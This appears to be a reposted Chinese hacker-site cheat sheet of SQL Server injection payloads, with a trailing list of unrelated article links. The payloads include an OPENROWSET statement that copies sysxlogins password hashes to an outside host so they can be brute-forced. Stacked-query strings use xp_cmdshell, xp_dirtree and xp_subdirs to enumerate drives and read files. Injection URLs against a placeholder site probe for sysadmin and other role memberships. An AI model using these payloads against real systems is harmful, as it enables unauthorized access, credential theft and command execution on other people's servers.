SQL旁注精华珍藏版代码

这实际上是上述复制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下： insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', ...

这实际上是上述复制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下：

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins

　　得到hash之后，就可以进行暴力破解。这需要一点运气和大量时间。

　　遍历目录的方法：

　　先创建一个临时表：temp

'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

5';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器

5';insert into temp(id) exec master.dbo.xp_subdirs 'c:/';-- 获得子目录列表

5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- 获得所有子目录的目录树结构,并寸入temp表中

5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:/web/index.asp';-- 查看某个文件的内容

5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/';--

5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/ *.asp /s/a';--

5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:/Inetpub/AdminScripts/adsutil.vbs enum w3svc'

5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- （xp_dirtree适用权限PUBLIC）

写入表：

语句1：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_SRVROLEMEMBER('sysadmin'));--

语句2：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_SRVROLEMEMBER('serveradmin'));--

语句3：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_SRVROLEMEMBER('setupadmin'));--

语句4：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_SRVROLEMEMBER('securityadmin'));--

语句5：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_SRVROLEMEMBER('securityadmin'));--

语句6：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_SRVROLEMEMBER('diskadmin'));--

语句7：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_SRVROLEMEMBER('bulkadmin'));--

语句8：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_SRVROLEMEMBER('bulkadmin'));--

语句9：_blank>http://www.xxxxx.com/down/list.asp?id=1　and　1=(select IS_MEMBER('db_owner'));--

把路径写到表中去：

_blank>http://www.xxxxx.com/down/list.asp?id=1;create　table　dirs(paths varchar(100), id int)-

_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert 　dirs　exec　master.dbo.xp_dirtree 'c:/'-

_blank>http://http://www.xxxxx.com/down/list.asp?id=1　and　0<>(select　top　1　paths　from　dirs)-

_blank>http://http://www.xxxxx.com/down/list.asp?id=1　and　0<>(select　top　1　paths　from　dirs　where　paths　not　in('@Inetpub'))-

语句：_blank>http://http://www.xxxxx.com/down/list.asp?id=1;create　table　dirs1(paths　varchar(100),　id　int)--

语句：_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert　dirs　exec　master.dbo.xp_dirtree 'e:/web'--

语句：_blank>http://http://www.xxxxx.com/down/list.asp?id=1　and　0<>(select　top　1　paths　from　dirs1)-

本篇文章来源于黑客基地-全球最大的中文黑客站原文链接：http://www.hackbase.com/tech/2009-04-17/52294.html

SQL旁注精华珍藏版代码相关推荐

物流信息管理系统MySQL设计,物流管理系统的SQL数据库设计(含代码)
物流管理系统的SQL数据库设计(含代码) 物流管理信息系统的数据库设计班级xxx系统名称:物流管理信息系统一.需求分析物流管理系统是为制造商和零售商设计的管理系统数据库系统,目的是:1.实现上游制造商 ...
/plus/recommend.php sql注入漏洞,DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 -
DedeCMS 全版本通杀SQL注入漏洞利用代码及工具目前官方最新版已修复该漏洞 V5.7.37 GBK正式版20140228常规更新补丁 http://www.dedecms.com/pl/ ht ...
SQL server数据库常用代码大全
SQL 语句目录插入数据表数据 INSERT INTO 测试表(商品ID,商品名称,规格,型号,属性,分类,价格) VALUES ('SP0009','安宫牛黄丸','10粒/盒','A-1245' ...
唐诗宋词 v3.0 软件下载唐诗宋词三百首唐诗三百首宋词三百首唐诗三百首下载宋词三百首下载 SQL优化前后的代码:...
v3.0 加快了诗词数据加载速度,诗词总页数达4500页下载地址 v3.1.5 下载地址 v3.2 完善了所有功能下载地址华军下载: http://www.newhua.com/soft/ ...
ASP.NET将EXCEL导入SQL SERVER数据库的代码
ASP.NET将EXCEL导入SQL SERVER数据库的代码 2007-11-13 10:36 在网上找到一个Asp.Net将Excel数据导入Sql Server数据库的的例子,是调用存储过程的, ...
SQL 存储过程 procedure 讲解+代码实例
文章目录 1. 存储过程概述 2. 创建存储过程 create procedure 2.1. 参数 in.out.inout 3. 调用存储过程 call 4. 查看存储过程 4.1. 查看存储过程的 ...
(续)Visual Studio 连接SQL Server数据库，代码连接
(续)Visual Studio 连接SQL Server数据库,代码连接(参考项目https://gitee.com/qmagician/book-management-system) 昨天已经将数 ...
SQL 函数 function 讲解+代码实例
文章目录 1. 对存储程序的说明 2. 创建函数 create function 3. 调用函数 select 4. 查看函数 4.1. 查看函数状态 show status 4.2. 查看函数定义 ...
【正则表达式】sql语句去掉注释代码
文章目录 1.美图 1.美图该方法,能在保持原有代码的情况下,比如大小写,换行,缩进等信息,去除sql中的各种注释代码如下 Pattern p = Pattern.compile("(? ...

SQL旁注精华珍藏版代码

SQL旁注精华珍藏版代码相关推荐

最新文章

热门文章